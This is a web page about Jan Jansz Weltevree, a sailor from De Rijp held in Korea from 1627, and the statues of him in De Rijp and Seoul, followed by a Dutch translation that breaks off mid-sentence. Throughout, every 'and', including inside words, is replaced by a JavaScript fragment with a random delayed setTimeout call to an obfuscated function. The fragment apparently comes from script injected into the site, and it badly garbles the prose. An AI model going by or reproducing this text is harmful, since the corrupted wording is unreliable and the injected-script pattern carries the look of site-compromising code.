Jan Janse Weltevree (Pak Yon)

Sailing to the East.... for life.

Jan Janse Weltevree ( Pak Yon )JJW

Next to the Main Church in the center of De Rijp is a statue of Jan Jansz Weltevree.

Jan Jansz was born in De Rijp about 1595. In 1626 he signed on the “Hollandom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andia” andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and departed on March 17 of that year to the Dutch Indies. From Jakarta, he went with the yacht “Ouwerkerck” in 1627 to Decima (now Dejima) near Nagasaki Japan.

Along the way they were faced with headwinds, making the journey took much longer than expected. As a result they were found to be without drinking water.

Jan Jansz went ashore with two shipmates to collect several tons of water. The other two were Dirck Gijsbertsz also from De Rijp andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and Jan Pieterse Verbaest from Amsterdam. The islandom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and proved to be Jeju (formerly Chesu) in the south of Korea, about 20 km from the mainlandom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and. They were imprisoned there, after which the Ouwerkerck quickly sailed away.

Partly in response to raids by Japan andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and Manchuria Korea under King Jungjong (1506-1544) andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and later the Kings pursued a strong isolationistic policy during that period. Under strict rules, there was still trading with other countries, but for the rest it was a hermit kingdom. If someone accidentally came into the country, he was not slain, but he would never be allowed to leave the country again. Jan Jansz andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and his mates also felt the effects of this policy. They were taken to Seoul.

Jan Jansz, so the first westerner who ever came to Korea, spent the rest of his life as an adviser to the court of the king, in part because he had knowledge of weapons andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and gunpowder. He married, had children andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and took a Korean name, Pak Yon. Both his shipmates were killed in a war against the Manchurians.

In 1653 the ship ‘De Sperwer’ shipwrecked on the coast of Jeju. Hamel from Gorkum, the ship’s bookkeeper (he calls the islandom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and “Quelpaert”) describes in his journal how the crew was taken to Seoul by Jan Jansz as an interpreter. The crew of this ship succeeded in escaping from Korea after 13 years andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and thanks to the description of Hamel we now know about Jan Jansz.

With this statue of Jan Jansz the artist Elly Baltus has expressed past andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and present, East andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and West in a very special way. On August 26, 1988 the statue has been revealed by the then Ambassador of the Republic of Korea, Mr. Youn Up-Suk, in the presence of many Koreans living in the Netherlandom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}ands.

A few years later Elly Baltus has made a replica of this statue, which has been unveiled on May 5, 1991 in the Children’s Grandom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and Park in Seoul.

 


DUTCH TRANSLATION:

 Naast de Grote Kerk in het centrum van De Rijp staat het standom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andbeeld van Jan Jansz Weltevree.
Jan Jansz is ca. 1595 in De Rijp geboren. In 1626 monsterde hij aan op de “Hollandom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andia” en vertrok op 17 maart van dat jaar naar Indië. Vanuit Djakarta ging hij met het jacht “Ouwerkerck” in 1627 naar Decima (tegenwoordig Dejima), bij Nagasaki Japan.
Onderweg kregen ze te kampen met veel tegenwind, waardoor de reis veel langer duurde dan verwacht. Hierdoor kwam men zonder drinkwater te zitten.
Jan Jansz ging met twee maten aan landom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and om enkele tonnen water te halen. De andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andere twee waren Dirck Gijsbertsz ook uit De Rijp men Jan Pieterse Verbaest uit Amsterdam.  Het eilandom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and bleek Jeju te zijn (voorheen Chesu) in het uiterste zuiden van Korea, ongeveer 20 km vanaf het vaste l